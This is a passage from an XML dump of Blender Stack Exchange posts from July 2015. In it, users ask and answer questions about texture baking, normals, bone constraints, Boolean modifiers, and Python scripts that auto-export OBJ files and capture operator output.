here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15140" LastEditorUserId="15140" LastEditDate="2015-07-18T11:27:26.583" LastActivityDate="2015-07-18T11:27:26.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34202" PostTypeId="1" AcceptedAnswerId="34209" CreationDate="2015-07-18T12:06:26.517" Score="0" ViewCount="1541" Body="&lt;p&gt;I've been trying to convert a 3D model into the sims 4 as a decorative object &quot;like action figure.&quot; I managed to pose him the way I wish but when it comes to mapping his 3 separate textures I can never seem to correctly do so that he looks the way he does in blender. Can someone give me some detailed help?&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/AwWjS.png&quot; alt=&quot;model in blender&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/SESGK.png&quot; alt=&quot;exported model with incorrect textures&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15753" LastEditorUserId="2217" LastEditDate="2015-07-18T13:43:59.323" LastActivityDate="2015-07-18T15:51:13.583" Title="Mapping multi uvs textures to a character in blender? 3 separate textures for character" Tags="&lt;uv&gt;&lt;export&gt;&lt;texture-baking&gt;" AnswerCount="1" CommentCount="8" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34203" PostTypeId="2" ParentId="24422" CreationDate="2015-07-18T12:21:30.063" Score="2" Body="&lt;p&gt;You can't really export the material with all its nodes etc however there is a way around, but it doesn't make it look as good as in Blender.&lt;br&gt;&#xA;First follow the &lt;a href=&quot;https://blender.stackexchange.com/a/24438/2217&quot;&gt;answer&lt;/a&gt; suggested by David. Now, once you reached step three instead of baking type to '&lt;em&gt;Diffuse Color&lt;/em&gt;' set it to '&lt;em&gt;Normal&lt;/em&gt;'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In unity import your mesh then add the texture to it. Now click on your object and scroll down till you see your texture/material. Click on the image near the small texture/material preview then drag your 'normal' image into the 'normal map' section. This should bring in some detail you find when rendering in blender.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Tzkg5.jpg&quot; alt=&quot;material settings for unity&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15754" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.790" LastActivityDate="2015-07-18T13:48:15.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34204" PostTypeId="1" CreationDate="2015-07-18T12:42:40.040" Score="4" ViewCount="1003" Body="&lt;p&gt;I'm trying to learn blender in a perspective of making meshes that I can export to game engines. Making nice looking high polys seems to go okey for me, but I have a hard time with controlling my normals when doing my low poly mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here I have a low poly model with some bevels on it. What I want to do (because of the bevel) is to force the normals marked red to be flat. I've successfully done so using the blend4web plugin. I also want to keep a sharp edge around the faces on the inside (marked green), now there's where things get tricky for me.&lt;br&gt;&#xA;I have been searching around and the only way I found that works is to split the edges. Now I really don't want to do that since this is a problem that appears quite often and I want to keep my low polys as intact as I can.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ARIvA.png&quot; alt=&quot;mesh in edit mode, with edges marked&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/U2qa5.jpg&quot; alt=&quot;object mode showing the smooth edges&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made an example in maya just to show you what I want. (This mesh is using the exact same topology and is all intact).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ar0qF.jpg&quot; alt=&quot;example in maya&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15756" LastEditorUserId="2217" LastEditDate="2015-07-18T14:37:46.370" LastActivityDate="2015-08-17T19:28:10.910" Title="Forced normals and hard edges?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;workflow&gt;&lt;normals&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ClosedDate="2015-08-17T21:02:27.183" ContentLicense="CC BY-SA 3.0" />
  <row Id="34205" PostTypeId="1" CreationDate="2015-07-18T12:58:21.537" Score="0" ViewCount="828" Body="&lt;p&gt;I created shoulder plates for my armor in Blender and tried to add a Child Of constraint to it and set it to be a child of a bone in another object's rig (character's rig).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is where the object is in relation to my character:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ahxkZ.png&quot; alt=&quot;Shoulder plate&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having it selected I add a &quot;Child Of&quot; constraint to the plate:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Jsuyz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I select the type of object I want to constraint it to with the picker tool (the bone that is located just under the plate, in my character's upper arm):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oWWos.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OUUG8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I type in the name of the bone in constraint settings:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WGUQP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As soon as I do that the object is much smaller and far from its previous position:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LYh4B.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It comes back when I disable the position, rotation and scale relations, but if I do that then any movement of the bone won't affect the object, so it's going to be useless for rigging.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could you please help me with this?&lt;/p&gt;&#xA;" OwnerUserId="15755" LastActivityDate="2015-07-18T12:58:21.537" Title="Some objects change position when becoming children of bones" Tags="&lt;rigging&gt;&lt;bones&gt;&lt;constraints&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="34206" PostTypeId="1" AcceptedAnswerId="34207" CreationDate="2015-07-18T13:31:10.067" Score="1" ViewCount="100" Body="&lt;p&gt;I have been trying to create tubes for use in my game (in Unity). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've used &lt;a href=&quot;https://blender.stackexchange.com/questions/19108/how-to-create-this-kind-of-spiral-tube/19110&quot;&gt;this question&lt;/a&gt; to accomplish that. The extruded curve's normals are facing out, like I would expect. However, this means that when imported into Unity, the inside of the tube is invisible, and the collider that is generated is only recognizing the normals in the proper direction (like I would expect).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My solution so far has been to convert the curve to a mesh, duplicate it, and flip the normals. This works, but it feels super inefficient, and like I am missing some tool or modifier that might exist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice is appreciated, as it seems I am perpetually new to Blender :)&lt;/p&gt;&#xA;" OwnerUserId="5070" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:41.900" LastActivityDate="2015-07-18T14:01:52.077" Title="Create &quot;two-sided&quot; curves" Tags="&lt;bezier-curves&gt;&lt;normals&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34207" PostTypeId="2" ParentId="34206" CreationDate="2015-07-18T13:38:56.617" Score="1" Body="&lt;p&gt;I think you are missing Solidify modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/pPZDT.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/pPZDT.png&quot; alt=&quot;blender showing the curves with the solidify modifer&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1486" LastEditorUserId="2217" LastEditDate="2015-07-18T14:01:52.077" LastActivityDate="2015-07-18T14:01:52.077" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34208" PostTypeId="2" ParentId="34195" CreationDate="2015-07-18T15:03:26.200" Score="4" Body="&lt;h2&gt;BI or BG&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;First of all, you need to choose a reflection image. (I love using city landscapes off of &lt;a href=&quot;http://cgtextures.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://cgtextures.com/&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then add a new texture and set the mapping to &lt;em&gt;&quot;reflection&quot;&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The image is calculated in realtime, so its 100% game functional (and looks beautiful)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dOrew.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2015-07-18T15:03:26.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34209" PostTypeId="2" ParentId="34202" CreationDate="2015-07-18T15:43:52.650" Score="1" Body="&lt;p&gt;Using the blend file you sent :&lt;br&gt;&#xA;In the UV/image editor, click image and in the menu, new image (or &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;N&lt;/kbd&gt;)&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/NFpEm.jpg&quot; alt=&quot;UV image editor&quot;&gt;&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/7nUh9.jpg&quot; alt=&quot;new image&quot;&gt;&lt;br&gt;&#xA;Select the size of your image (512x512 should be enough but let's use 1024x1024), give it a name (like Full Texture) and click ok&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/MxBks.jpg&quot; alt=&quot;image size&quot;&gt;&lt;br&gt;&#xA;You now have a beautiful black image. This is where we'll bake your texture.&lt;br&gt;&#xA;Now go in properties panel, click on vertex data tab and click on rkuv in UV Maps. Make sure the camera icon is active on UVMap.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ZNKh1.jpg&quot; alt=&quot;UV select&quot;&gt;&lt;br&gt;&#xA;In 3D view, enter Edit mode with &lt;kbd&gt;TAB&lt;/kbd&gt;, salect all with &lt;kbd&gt;A&lt;/kbd&gt; and in the UV/Image editor, select the Full Texture&quot;, then go back in object mode (&lt;kbd&gt;TAB&lt;/kbd&gt; in 3D view)&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/1sTw5.jpg&quot; alt=&quot;texture select&quot;&gt;&lt;br&gt;&#xA;In properties panel, go in render tab, in Bake, bake mode click to open the menu and select &quot;Textures&quot;&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/K41Pm.jpg&quot; alt=&quot;bake options&quot;&gt;&lt;br&gt;&#xA;Click the Bake button. Your Full texture is baking...&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/BnOwv.jpg&quot; alt=&quot;bake&quot;&gt;&lt;br&gt;&#xA;In UV/Image Editor, click Image, Save As image to save your new texture (if you don't, it'll be lost!!)&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/g9XpZ.jpg&quot; alt=&quot;save image&quot;&gt;&lt;br&gt;&#xA;In properties panel, go to material tab, select ks material&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/JhubW.jpg&quot; alt=&quot;select mat&quot;&gt;&lt;br&gt;&#xA;Now go in Texture tab, click the button to change texture and select your brand new Full Texture&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/HjTqI.jpg&quot; alt=&quot;select tex&quot;&gt;&lt;br&gt;&#xA;Back in material tab, delete all but ks materials.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/XLiJj.jpg&quot; alt=&quot;delete mat&quot;&gt;&lt;br&gt;&#xA;Go in Vertex Data tab and delete &quot;UVMap&quot;&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/L3S8r.jpg&quot; alt=&quot;del UV&quot;&gt;&lt;br&gt;&#xA;Now you have only 1 material with only 1 texture. If it doesn't show, go in material tab, enter edit mode, select all and click the &quot;assign&quot; button. If your texture doesn't show, go in texture tab and click the refresh button.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/5FSgG.jpg&quot; alt=&quot;assign refresh&quot;&gt;&lt;br&gt;&#xA;now save your file (change the name to keep the original with textures) and you're done !&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know much about sims 4 studio, but if you need an OBJ file, open the file menu, select export then wavefront (.obj). give it a name and you'll be able to import it from sims 4 studio and select the Full Texture file as texture. (the old OBJ won't work)&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/6qood.jpg&quot; alt=&quot;export&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11431" LastEditorUserId="11431" LastEditDate="2015-07-18T15:51:13.583" LastActivityDate="2015-07-18T15:51:13.583" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="34210" PostTypeId="1" AcceptedAnswerId="34211" CreationDate="2015-07-18T15:51:29.860" Score="1" ViewCount="95" Body="&lt;p&gt;I'm trying to simulate a camera fixed on car which is moving along a straight path. I've been trying doing this using a curve path. The problem is that I need to know/specify exactly the distance the car/camera travelled between frames. Is there a direct way to do this?&lt;/p&gt;&#xA;" OwnerUserId="15758" LastActivityDate="2015-07-18T16:12:16.040" Title="camera animation with known distance between frames" Tags="&lt;animation&gt;&lt;camera&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34211" PostTypeId="2" ParentId="34210" CreationDate="2015-07-18T16:12:16.040" Score="0" Body="&lt;p&gt;I'd set the Scene units to Metric or Imperial (or metric, seriously). Then you would take your path length (ie. 50m) divided by the frames elapsed (ie. 100f) to get the camera velocity (ie. 50m/100f = 0.5m/f). Then you know that the camera travels 0.5m for every elapsed frame. Does that answer your question?&lt;/p&gt;&#xA;" OwnerUserId="894" LastActivityDate="2015-07-18T16:12:16.040" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34212" PostTypeId="1" AcceptedAnswerId="34237" CreationDate="2015-07-18T17:07:34.513" Score="1" ViewCount="214" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/svyxL.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I sure I should see blue texture in place of this blue/green jitter.&#xA;Why this happens?&lt;/p&gt;&#xA;" OwnerUserId="15759" LastActivityDate="2015-07-19T11:00:22.280" Title="&quot;Vertex paint&quot; or Cycles &quot;Mix node&quot; problem?" Tags="&lt;cycles-render-engine&gt;&lt;vertex-paint&gt;" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="34213" PostTypeId="1" CreationDate="2015-07-18T18:18:08.770" Score="1" ViewCount="928" Body="&lt;p&gt;I have the following workflow in Blender:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Edit object in .blend format&lt;/li&gt;&#xA;&lt;li&gt;Save .blend&lt;/li&gt;&#xA;&lt;li&gt;Set axis options in OBJ exporter&lt;/li&gt;&#xA;&lt;li&gt;Enable normals export in OBJ exporter&lt;/li&gt;&#xA;&lt;li&gt;Enable &quot;triangulate&quot; in OBJ exporter&lt;/li&gt;&#xA;&lt;li&gt;Export .obj (and .mtl) using OBJ exporter&lt;/li&gt;&#xA;&lt;li&gt;Copy .obj from wherever it got saved to &lt;code&gt;$someDir/mesh/&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Copy .mtl from whetever it got saved to &lt;code&gt;$someDir/material/&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This is getting pretty tedious, so I'd like to write a Blender script so that when I press save, all of the above steps happen automatically. I couldn't figure out how to attach a script action to the &quot;save&quot; button. Is this possible? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Note: I want to keep the native .blend file too)&lt;/p&gt;&#xA;" OwnerUserId="1521" LastActivityDate="2015-07-18T20:52:58.840" Title="Auto-export to OBJ format on save" Tags="&lt;export&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34214" PostTypeId="2" ParentId="34213" CreationDate="2015-07-18T18:33:43.383" Score="2" Body="&lt;p&gt;Here's my answer with most of the script credit going to zeffii from &lt;a href=&quot;https://blender.stackexchange.com/questions/31528/selecting-many-objects-inside-blender-and-export-them-as-seperate-obj-with-one/31529#31529&quot;&gt;this page&lt;/a&gt;. I just added the Save Blend file line at the top.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can set the output path parent folder with the &lt;code&gt;folder&lt;/code&gt; variable. The script creates the child mesh and material folders. The MTL files are moved to the material folder at the end of each OBJ loop.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import os&#xA;import shutil&#xA;&#xA;bpy.ops.wm.save_mainfile() &#xA;&#xA;&#xA;folder = '/path/to/export/folder/'&#xA;meshFolder = folder + 'mesh/'&#xA;matFolder = folder + 'material/'&#xA;&#xA;if not os.path.exists(folder):&#xA;        os.makedirs(folder)&#xA;if not os.path.exists(meshFolder):&#xA;        os.makedirs(meshFolder)&#xA;if not os.path.exists(matFolder):&#xA;        os.makedirs(matFolder)        &#xA;&#xA;selected = bpy.context.selected_objects.copy()&#xA;bpy.ops.object.select_all(action='DESELECT')&#xA;&#xA;for obj in selected:&#xA;    name = obj.name.replace('.', '_')&#xA;    obj.select = True&#xA;    fullpath = os.path.join(meshFolder, name + '.obj')&#xA;    bpy.ops.export_scene.obj(&#xA;        filepath=fullpath, &#xA;        check_existing=True, &#xA;        axis_forward='-Z', &#xA;        axis_up='Y', &#xA;        use_selection=True, &#xA;        use_animation=False, &#xA;        use_mesh_modifiers=True, &#xA;        use_edges=True, &#xA;        use_smooth_groups=False, &#xA;        use_smooth_groups_bitflags=False, &#xA;        use_normals=True, &#xA;        use_uvs=True, &#xA;        use_materials=True, &#xA;        use_triangles=False, &#xA;        use_nurbs=False, &#xA;        use_vertex_groups=False, &#xA;        use_blen_objects=True, &#xA;        group_by_object=False, &#xA;        group_by_material=False, &#xA;        keep_vertex_order=False, &#xA;        global_scale=1, &#xA;        path_mode='AUTO')&#xA;    obj.select = False&#xA;    shutil.move(meshFolder + name + '.mtl', matFolder + name + '.mtl')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="894" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.843" LastActivityDate="2015-07-18T20:52:58.840" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="34215" PostTypeId="1" CreationDate="2015-07-18T19:08:49.087" Score="3" ViewCount="1174" Body="&lt;p&gt;I want to make the intersecting parts of the objects (they are two different objects converted from text) turn the combined colour (a kind of purple, I guess). How could I easily do this, without having to use the knife tool? Could I use materials to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, do I have to assign what the combined colour would be, or is there any way to calculate it in Blender?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried using the boolean modifier, but it acts very weird, I don't get the desired effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was thinking if there would be a way to separate the intersecting parts from the objects to create new objects where they intersect so that I could turn the new objects the required colour.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The image is from the view port.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6TpAD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15760" LastEditorUserId="15760" LastEditDate="2015-07-18T21:13:10.550" LastActivityDate="2015-07-19T06:46:57.057" Title="Making intersecting parts of objects turn the combined colour? (red+blue=purple)" Tags="&lt;modeling&gt;&lt;cycles-render-engine&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34216" PostTypeId="2" ParentId="34204" CreationDate="2015-07-18T19:24:26.617" Score="0" Body="&lt;p&gt;Crease the edges you want to stay sharp. A value of 1 will be perfectly sharp. If you have any smoothing or subdivision surface modifier applied, as you reduce the value the edge shading will become increasingly smoothed. So if you want just a bit of smooth shading on certain edges you might try a value of .9 or something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is where the 'Crease' value adjustment is located.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Vd205.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15159" LastActivityDate="2015-07-18T19:24:26.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34217" PostTypeId="1" AcceptedAnswerId="34218" CreationDate="2015-07-18T20:09:13.563" Score="3" ViewCount="868" Body="&lt;p&gt;When calling operators such as &lt;code&gt;bpy.ops.mesh.remove_doubles()&lt;/code&gt; it outputs how many vertices were removed into console.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In some cases its better to silence it, but you may also want to catch it and use it within the script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I redirect or otherwise silence the text from printing into the terminal?&lt;/p&gt;&#xA;" OwnerUserId="15761" LastEditorUserId="55" LastEditDate="2015-07-18T20:22:07.227" LastActivityDate="2015-07-18T20:22:41.287" Title="How to redirect output from 'bpy.ops.*'?" Tags="&lt;python&gt;&lt;add-on&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34218" PostTypeId="2" ParentId="34217" CreationDate="2015-07-18T20:16:56.437" Score="5" Body="&lt;p&gt;This can be done by temporarily overriding the output using &lt;a href=&quot;https://docs.python.org/3/library/contextlib.html#contextlib.redirect_stdout&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;redirect_stdout&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;eg:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Short example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from contextlib import redirect_stdout&#xA;import io&#xA;stdout = io.StringIO()&#xA;with redirect_stdout(stdout):&#xA;    bpy.ops.mesh.remove_doubles()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Commented answer with redirect:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Python module to redirect the sys.stdout&#xA;from contextlib import redirect_stdout&#xA;# So we can create a file-like object&#xA;import io&#xA;&#xA;# our new output&#xA;stdout = io.StringIO()&#xA;&#xA;with redirect_stdout(stdout):&#xA;    # any printing or operator output within this block&#xA;    # will go into 'stdout'&#xA;    bpy.ops.mesh.remove_doubles()&#xA;&#xA;# if you like to get the output and use it&#xA;# you can read it as if its a regular file.&#xA;stdout.seek(0)&#xA;output = stdout.read()&#xA;del stdout&#xA;&#xA;print(&quot;We caught the output, it was %d long!&quot; % len(output))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note, that this can also be used to re-direct operator reports for your own use&lt;/em&gt;, and example of this is a benchmarking tool which extracts output from the draw timer.&#xA;&lt;a href=&quot;https://gitlab.com/ideasman42/blender-fps-bench/blob/master/blender_fps_bench.py#L196&quot; rel=&quot;noreferrer&quot;&gt;https://gitlab.com/ideasman42/blender-fps-bench/blob/master/blender_fps_bench.py#L196&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2015-07-18T20:22:41.287" LastActivityDate="2015-07-18T20:22:41.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34219" PostTypeId="1" CreationDate="2015-07-18T20:41:00.173" Score="2" ViewCount="57" Body="&lt;p&gt;When I batch operations such as exportings, I'd like to know when it will be over. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having a progress bar or indicator and something like &quot;X of Y&quot; (X is number of objects processed; Y is total number of objects) would be useful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does Blender have a way to accomplish this?&lt;/p&gt;&#xA;" OwnerUserId="15761" LastEditorUserId="55" LastEditDate="2015-07-18T20:45:41.927" LastActivityDate="2015-07-18T20:45:41.927" Title="How can I output a counter or/and progress bar in the UI?" Tags="&lt;python&gt;&lt;interface&gt;" AnswerCount="0" CommentCount="0" ClosedDate="2015-07-18T22:46:30.640" ContentLicense="CC BY-SA 3.0" />
  <row Id="34220" PostTypeId="2" ParentId="34215" CreationDate="2015-07-18T20:50:47.050" Score="5" Body="&lt;p&gt;You can use &lt;strong&gt;&lt;a href=&quot;http://www.blender.org/manual/modifiers/generate/booleans.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Boolean modifiers&lt;/a&gt;&lt;/strong&gt; if you want to have full&#xA;   control of the intersecting material.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Starting situation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xoGEIm.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These objects must not be touched, as they are the &quot;basis&quot; for the modifiers. So the first step consist in copy the left (or the right) object) and hide all the other. We'll call this &quot;Left copy intersect right&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SYwtBm.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add to this object a Boolan modifier, set to &quot;Intersect&quot; an than point to the right object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/r6Tuv.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here we have the first part of three... we can assign a purple material to this object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Copy again the left object, assign boolean modifier an this time set boolean operation to &quot;Difference&quot; and point to right object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bNzkRm.jpg&quot; alt=&quot;enter image description here&quot;&gt;  &lt;img src=&quot;https://i.stack.imgur.com/huiM7m.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finish with the last part. Copy Right object, add boolean modifier, set to difference, to left the object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2llKmm.jpg&quot; alt=&quot;enter image description here&quot;&gt;  &lt;img src=&quot;https://i.stack.imgur.com/K3fb7m.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assign material to the three object as you wish&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;You can use &lt;strong&gt;Volume absorbtion shader&lt;/strong&gt; if you want that the two materials blend themselves for real&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8DqZK.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a material based for example on a glass shader for the surface and a volume absorbtion shader based on wanted color for the volume output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notice that these are the &quot;origninal&quot; right and left objects, so you don't need other operations, but you have some limitation on the material... they must have a transparent component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also notice (in the 3D view on the top) that you have to move the geometry a bit, to avoid overlapping faces that may cause artifacts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's another possible material and the blendfile:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/geeeA.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/361/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=361&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15140" LastEditorUserId="-1" LastEditDate="2017-03-14T09:17:19.773" LastActivityDate="2015-07-19T06:46:57.057" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
